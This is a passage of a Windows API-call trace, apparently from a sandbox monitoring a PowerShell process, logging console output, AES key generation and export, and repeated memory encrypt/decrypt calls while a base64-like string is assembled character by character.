0x1b5 [0262.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.254] GetConsoleOutputCP () returned 0x1b5 [0262.254] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.254] GetConsoleOutputCP () returned 0x1b5 [0262.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0262.255] GetConsoleOutputCP () returned 0x1b5 [0262.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0262.255] GetConsoleOutputCP () returned 0x1b5 [0262.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.255] GetConsoleOutputCP () returned 0x1b5 [0262.255] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0262.255] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0262.256] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.257] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24b8a84*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24b8a84*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0262.258] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0262.258] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0262.261] EtwEventActivityIdControl () returned 0x0 [0262.261] EtwEventActivityIdControl () returned 0x0 [0262.261] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.262] EtwEventActivityIdControl () returned 0x0 [0262.262] EtwEventActivityIdControl () returned 0x0 [0262.262] EtwEventActivityIdControl () returned 0x0 [0262.264] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.265] EtwEventActivityIdControl () returned 0x0 [0262.265] EtwEventActivityIdControl () returned 0x0 [0262.265] EtwEventActivityIdControl () returned 0x0 [0262.268] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d430) returned 1 [0262.270] CryptGenKey (in: hProv=0x5c4d430, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c999e0) returned 1 [0262.270] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0262.270] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0262.270] CryptExportKey (in: hKey=0x5c999e0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24c045c, pdwDataLen=0x5a2e8c4 | out: pbData=0x24c045c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0262.270] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0262.271] EtwEventActivityIdControl () returned 0x0 [0262.271] EtwEventActivityIdControl () returned 0x0 [0262.271] EtwEventActivityIdControl () returned 0x0 [0262.272] SysStringLen (param_1="") returned 0x8 [0262.272] SysStringLen (param_1="X") returned 0x8 [0262.273] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.273] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0262.273] SysStringLen (param_1="Ⓞ弎ེҰ쫰喛￰擡") returned 0x8 [0262.273] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.273] SysStringLen (param_1="XI") returned 0x8 [0262.273] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.273] SysStringLen (param_1="轸뤯嘪鋁ㅻⱦ贙㸒") returned 0x8 [0262.273] SysStringLen (param_1="轸뤯嘪鋁ㅻⱦ贙㸒") returned 0x8 [0262.273] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.273] SysStringLen (param_1="XIF") returned 0x8 [0262.273] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.274] SysStringLen (param_1="齞푬ᅻ৿퇭㨍Ѫ슦") returned 0x8 [0262.274] SysStringLen (param_1="齞푬ᅻ৿퇭㨍Ѫ슦") returned 0x8 [0262.274] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.274] SysStringLen (param_1="XIFd") returned 0x8 [0262.274] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.274] SysStringLen (param_1="첮㟎藒遧䙱ݡ檞慈") returned 0x8 [0262.274] SysStringLen (param_1="첮㟎藒遧䙱ݡ檞慈") returned 0x8 [0262.274] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.274] SysStringLen (param_1="XIFdP") returned 0x8 [0262.274] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.274] SysStringLen (param_1="֗曮쑄㐖ឯ㦮칲ӎ") returned 0x8 [0262.274] SysStringLen (param_1="֗曮쑄㐖ឯ㦮칲ӎ") returned 0x8 [0262.274] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.275] SysStringLen (param_1="XIFdPr") returned 0x8 [0262.275] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.275] SysStringLen (param_1="Ꜵ㣥滤픍旖ꚩ泰") returned 0x8 [0262.275] SysStringLen (param_1="Ꜵ㣥滤픍旖ꚩ泰") returned 0x8 [0262.275] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.275] SysStringLen (param_1="XIFdPrm") returned 0x8 [0262.275] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.275] SysStringLen (param_1="횃텤дꣅ䗯") returned 0x8 [0262.275] SysStringLen (param_1="횃텤дꣅ䗯") returned 0x8 [0262.275] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.275] SysStringLen (param_1="XIFdPrmU") returned 0x8 [0262.275] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0262.276] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄") returned 0x8 [0262.276] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄") returned 0x8 [0262.276] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄") returned 0x8 [0262.276] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄") returned 0x10 [0262.276] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.277] SysStringLen (param_1="XIFdPrmUK웣౽ꈹ愪缻῿") returned 0x10 [0262.277] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.277] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄걭弊猈茪䖱醉\xfde8") returned 0x10 [0262.277] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄걭弊猈茪䖱醉\xfde8") returned 0x10 [0262.277] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.277] SysStringLen (param_1="XIFdPrmUK9웣౽ꈹ愪缻῿") returned 0x10 [0262.277] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.277] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄꘿℠⓵힝栐") returned 0x10 [0262.277] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄꘿℠⓵힝栐") returned 0x10 [0262.277] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.277] SysStringLen (param_1="XIFdPrmUK9q౽ꈹ愪缻῿") returned 0x10 [0262.277] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄턜燈觾ꌑ෿⮚羞⢥") returned 0x10 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄턜燈觾ꌑ෿⮚羞⢥") returned 0x10 [0262.278] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.278] SysStringLen (param_1="XIFdPrmUK9qiꈹ愪缻῿") returned 0x10 [0262.278] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄ⶽ엚欏丬듿蒡龐僣") returned 0x10 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄ⶽ엚欏丬듿蒡龐僣") returned 0x10 [0262.278] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.278] SysStringLen (param_1="XIFdPrmUK9qiT愪缻῿") returned 0x10 [0262.278] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄丝壽믈ߢ蠻暼ꢕ") returned 0x10 [0262.278] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄丝壽믈ߢ蠻暼ꢕ") returned 0x10 [0262.278] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="XIFdPrmUK9qiT2缻῿") returned 0x10 [0262.279] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄䩒࠵ꎻ룖₡幉\⋜) returned 0x10 [0262.279] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄䩒࠵ꎻ룖₡幉\⋜) returned 0x10 [0262.279] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="XIFdPrmUK9qiT2k῿") returned 0x10 [0262.279] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄㺕⤬䏦黗묞쪤⦱") returned 0x10 [0262.279] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄㺕⤬䏦黗묞쪤⦱") returned 0x10 [0262.279] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="XIFdPrmUK9qiT2kv") returned 0x10 [0262.279] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0262.279] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷") returned 0x10 [0262.280] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷") returned 0x10 [0262.280] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷") returned 0x10 [0262.280] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷") returned 0x18 [0262.280] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.280] SysStringLen (param_1="XIFdPrmUK9qiT2kv+඘箲밬籝䐥눌") returned 0x18 [0262.280] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.280] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷឵랟숭⿾귂뚇敇") returned 0x18 [0262.280] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷឵랟숭⿾귂뚇敇") returned 0x18 [0262.280] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.281] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y箲밬籝䐥눌") returned 0x18 [0262.281] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.281] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷伦\勖☲뷶횿≚) returned 0x18 [0262.281] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷伦\勖☲뷶횿≚) returned 0x18 [0262.281] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.281] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6밬籝䐥눌") returned 0x18 [0262.281] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.281] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷⫾\䯟Ʈ캘䚙⊒) returned 0x18 [0262.281] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷⫾\䯟Ʈ캘䚙⊒) returned 0x18 [0262.281] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.281] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6O籝䐥눌") returned 0x18 [0262.281] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷귮뺑叺㧜㻕멙") returned 0x18 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷귮뺑叺㧜㻕멙") returned 0x18 [0262.282] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.282] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZ䐥눌") returned 0x18 [0262.282] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷觯䓠蝡꼙⪸細᠄⏍") returned 0x18 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷觯䓠蝡꼙⪸細᠄⏍") returned 0x18 [0262.282] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.282] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZU눌") returned 0x18 [0262.282] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷뺞䝍焞\ꃘ릾胺㹠≯) returned 0x18 [0262.282] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷뺞䝍焞\ꃘ릾胺㹠≯) returned 0x18 [0262.282] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.283] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUc눌") returned 0x18 [0262.283] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.283] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷㑹ﲜ쟧捄骰쎇䉐") returned 0x18 [0262.283] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷㑹ﲜ쟧捄骰쎇䉐") returned 0x18 [0262.283] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.283] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu") returned 0x18 [0262.283] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0262.283] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟") returned 0x18 [0262.284] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟") returned 0x18 [0262.284] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟") returned 0x18 [0262.284] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟") returned 0x20 [0262.284] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.284] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/ፃ\䏛ꪙ䣑ꍳ擹≀) returned 0x20 [0262.284] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.284] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟ᚕ\盟짴茺ᝯ๷\") returned 0x20 [0262.284] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟ᚕ\盟짴茺ᝯ๷\") returned 0x20 [0262.284] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.285] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2\䏛ꪙ䣑ꍳ擹≀) returned 0x20 [0262.285] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.285] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟盜陋Ē쯚赅琏ꉇǼ") returned 0x20 [0262.285] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟盜陋Ē쯚赅琏ꉇǼ") returned 0x20 [0262.285] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.285] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2Z饃톪獈念䁤") returned 0x20 [0262.285] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.285] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟崘镽ㄹ匞鎞ાᘲ") returned 0x20 [0262.285] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟崘镽ㄹ匞鎞ાᘲ") returned 0x20 [0262.285] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.285] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL톪獈念䁤") returned 0x20 [0262.285] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟䵋Ჲ䷒㝦ꕾ뿫Ὤ") returned 0x20 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟䵋Ჲ䷒㝦ꕾ뿫Ὤ") returned 0x20 [0262.286] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.286] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9獈念䁤") returned 0x20 [0262.286] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟駓陓퍔挏ềᲦ᰽儀") returned 0x20 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟駓陓퍔挏ềᲦ᰽儀") returned 0x20 [0262.286] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.286] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p念䁤") returned 0x20 [0262.286] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟敥衶່榊簅ᖫ悍묽") returned 0x20 [0262.286] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟敥衶່榊簅ᖫ悍묽") returned 0x20 [0262.287] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.287] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6䁤") returned 0x20 [0262.287] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.287] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟乁쭉㻪⿡栥績") returned 0x20 [0262.287] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟乁쭉㻪⿡栥績") returned 0x20 [0262.287] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.287] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6Y") returned 0x20 [0262.287] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0262.287] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈") returned 0x20 [0262.288] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈") returned 0x20 [0262.288] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈") returned 0x20 [0262.288] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈") returned 0x28 [0262.288] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.289] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6Yf㥌͗뉏ᕔ秘륻㸏") returned 0x28 [0262.289] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.289] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈쪚슱졗喢敄㬘筏") returned 0x28 [0262.290] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈쪚슱졗喢敄㬘筏") returned 0x28 [0262.290] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.290] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6Yfz͗뉏ᕔ秘륻㸏") returned 0x28 [0262.290] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.290] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈貯泀閪鄝⻀㉞㔟䲀") returned 0x28 [0262.290] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈貯泀閪鄝⻀㉞㔟䲀") returned 0x28 [0262.290] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.290] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6Yfzg뉏ᕔ秘륻㸏") returned 0x28 [0262.290] SystemFunction040 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.290] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈懒⽚恾袶懻粒⍤") returned 0x28 [0262.290] SysStringLen (param_1="庴쩆놊뚳⧖흕ై틄\ෟ\೛ۢ頕缷캮⯖곲⎍婅씷諐赟囙Ǚ琾ࢁ麻쾧쨈懒⽚恾袶懻粒⍤") returned 0x28 [0262.290] SystemFunction041 (in: Memory=0x3afe5c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afe5c) returned 0x0 [0262.290] SysStringLen (param_1="XIFdPrmUK9qiT2kv+y6OZUcu/2ZL9p6Yfzgtᕔ秘륻㸏") returned 0x28 [0262.291] 